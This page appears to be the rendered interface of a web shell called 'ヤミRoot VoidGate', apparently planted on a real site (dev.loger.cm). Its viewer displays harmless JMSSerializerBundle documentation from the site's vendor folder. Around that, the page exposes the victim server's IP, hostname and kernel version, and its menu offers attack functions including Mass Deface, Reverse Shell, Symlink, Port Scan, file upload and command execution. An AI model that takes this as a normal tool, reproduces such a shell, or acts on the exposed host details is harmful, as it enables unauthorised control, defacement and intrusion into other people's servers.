ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
jms
/
serializer-bundle
/
Resources
/
doc
/
Viewing: index.rst
JMSSerializerBundle =================== Introduction ------------ JMSSerializerBundle allows you to serialize your data into a requested output format such as JSON, XML, or YAML, and vice versa. You can learn more in the `documentation <http://jmsyst.com/libs/serializer>`_ for the standalone library. Installation ------------ You can install this bundle using composer .. code-block :: bash composer require jms/serializer-bundle or add the package to your ``composer.json`` file directly. After you have installed the package, you just need to add the bundle to your ``AppKernel.php`` file:: // in AppKernel::registerBundles() $bundles = array( // ... new JMS\SerializerBundle\JMSSerializerBundle(), // ... ); Configuration ------------- JMSSerializerBundle requires no initial configuration to get you started. For all available configuration options, please see the :doc:`configuration reference <configuration>`. Usage ----- The configured serializer is available as ``jms_serializer`` (or ``jms_serializer.instances.default``) service:: $serializer = $container->get('jms_serializer'); $serializer->serialize($data, $format); $data = $serializer->deserialize($inputStr, $typeName, $format); In templates, you may also use the ``serialize`` filter: .. code-block :: html+jinja {{ data | jms_serialize }} {# serializes to JSON #} {{ data | jms_serialize('json') }} {{ data | jms_serialize('xml') }} Learn more in the `documentation for the dedicated library <http://jmsyst.com/libs/serializer/master/usage>`_. License ------- The code is released under the `MIT license`_. Documentation is subject to the `Attribution-NonCommercial-NoDerivs 3.0 Unported license`_. .. _MIT license: https://opensource.org/licenses/MIT .. _Attribution-NonCommercial-NoDerivs 3.0 Unported license: http://creativecommons.org/licenses/by-nc-nd/3.0/
Coded With 💗 by
0x6ick